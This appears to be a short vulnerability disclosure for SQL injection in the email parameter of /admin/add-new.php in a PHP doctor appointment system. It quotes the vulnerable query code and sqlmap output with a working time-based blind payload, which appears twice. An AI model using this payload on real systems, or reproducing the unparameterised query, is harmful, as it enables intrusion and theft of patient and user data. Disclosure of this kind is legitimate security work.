SQL injection vulnerability exists in email parameter of /admin/add-new.php file of edoc doctor appointment system

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```
$email=$_POST['email'];
$tele=$_POST['Tele'];
$password=$_POST['password'];
$cpassword=$_POST['cpassword'];

if ($password==$cpassword){
    $error='3';
    $result= $database->query("select * from webuser where email='$email';");
```

```
sqlmap identified the following injection point(s) with a total of 72 HTTP(s) requests:
---
Parameter: email (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: name=SQL Inject&email=123@123com' AND (SELECT 6850 FROM (SELECT(SLEEP(5)))nzPq) AND 'AFoB'='AFoB&nic=12
3&Tele=123123123123&spec=1&password=123&cpassword=123
---
```

“

Parameter: email (POST)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: name=SQL Inject&email=123@123com' AND (SELECT 6850 FROM (SELECT(SLEEP(5)))nzPq) AND 'AFoB'='AFoB&nic=123&Tele=123123123123&spec=1&password=123&cpassword=123

“

Source Download：

https://www.sourcecodester.com/hashenudara/simple-doctors-appointment-project.html